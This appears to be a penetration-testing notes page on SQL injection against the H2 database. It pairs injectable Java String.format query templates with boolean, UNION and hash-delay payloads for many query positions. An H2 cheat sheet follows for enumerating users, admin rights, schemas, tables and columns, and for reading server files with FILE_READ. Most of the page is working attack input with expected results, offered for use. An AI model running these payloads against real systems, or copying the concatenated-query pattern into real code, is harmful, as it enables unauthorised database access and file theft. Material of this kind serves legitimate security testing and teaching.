Testing

H2 injection-context testing

The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and LIMIT term accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.

Each example supplies two syntactically valid H2 inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.

Numeric predicate

String query = String.format("SELECT id, name FROM items WHERE id = %s", userInput);

1 AND 1=1
1 AND 1=2

The first control returns row 1; the second returns no rows.

Quoted-string predicate

String query = String.format("SELECT id, username FROM users WHERE username = '%s'", userInput);

maria' AND 1=1-- -
maria' AND 1=2-- -

The first control preserves the matching row and the second removes it.

LIKE predicate

String query = String.format("SELECT id, name FROM items WHERE name LIKE '%%%s%%'", userInput);

%' AND 1=1-- -
%' AND 1=2-- -

The first control leaves a true condition; the second makes the complete predicate false.

ORDER BY expression

String query = String.format("SELECT id, name, count FROM items ORDER BY %s", userInput);

CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id END

The first control sorts by count; the second sorts by id.

GROUP BY expression

String query = String.format("SELECT COUNT(*) FROM items GROUP BY %s", userInput);

CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name END

With repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.

UNION SELECT

String query = String.format("SELECT id, name FROM items WHERE id = %s", userInput);

-1 UNION SELECT NULL,'sql-test'-- -
-1

The first control adds a visible sql-test row and the second returns no rows. The number and types of the injected columns must match the source query.

LIMIT and OFFSET

String query = String.format("SELECT id, name FROM items ORDER BY id LIMIT %s", userInput);

1 OFFSET 0
1 OFFSET 1

The first control returns the first ordered row; the second returns the next row.

Writable value expression

The controls intentionally modify a disposable lab row.

String query = String.format("UPDATE items SET count = %s WHERE id = 1", userInput);

CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 END

Reading the row back shows 7 for the first control and 8 for the second.

Dynamic SELECT expression

String query = String.format("SELECT %s FROM users ORDER BY id", userInput);

CASE WHEN 1=1 THEN username ELSE CAST(id AS VARCHAR) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS VARCHAR) END

The returned values switch between username and the text form of id.

Time-based confirmation

H2 has no direct equivalent of SLEEP(). A conditional number of hash iterations provides a measurable delay:

1 AND HASH('SHA-256', STRINGTOUTF8('test'), CASE WHEN 1=1 THEN 50000000 ELSE 1 END) IS NOT NULL
1 AND HASH('SHA-256', STRINGTOUTF8('test'), CASE WHEN 1=2 THEN 50000000 ELSE 1 END) IS NOT NULL

Both controls preserve row 1. The first performs 50000000 hash iterations; the second performs one. The iteration count must be calibrated against the normal response time.

H2 cheat sheet

Identity and version

SELECT H2VERSION();
SELECT DATABASE();
SELECT CURRENT_SCHEMA;
SELECT CURRENT_USER;
SELECT USER_NAME, IS_ADMIN FROM INFORMATION_SCHEMA.USERS;

Typical results:

H2VERSION()    -> 2.2.224
DATABASE()     -> NOTEDB
CURRENT_SCHEMA -> PUBLIC
CURRENT_USER   -> SA
IS_ADMIN       -> TRUE

Schemas, tables, and columns

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME;
SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA <> 'INFORMATION_SCHEMA' ORDER BY TABLE_SCHEMA, TABLE_NAME;
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '<SCHEMA>' AND TABLE_NAME = '<TABLE>' ORDER BY ORDINAL_POSITION;

Unquoted H2 identifiers are normally stored in uppercase. Values supplied to TABLE_SCHEMA and TABLE_NAME must match the stored case.

Strings and bytes

SELECT 'one' || 'two';
SELECT LENGTH('value');
SELECT SUBSTRING('value', 1, 1);
SELECT ASCII('A');
SELECT STRINGTOUTF8('value');
SELECT CAST(123 AS VARCHAR);

Expected results:

'one' || 'two'          -> onetwo
LENGTH('value')         -> 5
SUBSTRING(..., 1, 1)    -> v
ASCII('A')              -> 65
CAST(123 AS VARCHAR)    -> 123

Database settings and filesystem access

SELECT SETTING_NAME, SETTING_VALUE FROM INFORMATION_SCHEMA.SETTINGS WHERE SETTING_NAME IN ('MODE', 'DATABASE_TO_LOWER', 'DATABASE_TO_UPPER');
SELECT DATABASE_PATH();
SELECT FILE_READ('<ABSOLUTE_PATH>');

DATABASE_PATH() returns NULL for an in-memory database. A non-NULL result from FILE_READ() confirms that the database process can read the selected path. A NULL result or an error must be interpreted with the database privileges, file existence, and operating-system permissions.

User-defined aliases

SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, DATA_TYPE, EXTERNAL_NAME FROM INFORMATION_SCHEMA.ROUTINES ORDER BY ROUTINE_SCHEMA, ROUTINE_NAME;

This lists aliases already created in the database. Creating a new alias requires an administrator account.

_{Find by: h2, h2 database, sql injection testing, h2version, database, current schema, current user, information schema, schemata, tables, columns, file read, database path, routines, create alias, hash delay, substring, ascii, limit offset · Source: HTB/PentestNotes, H2 2.2.224}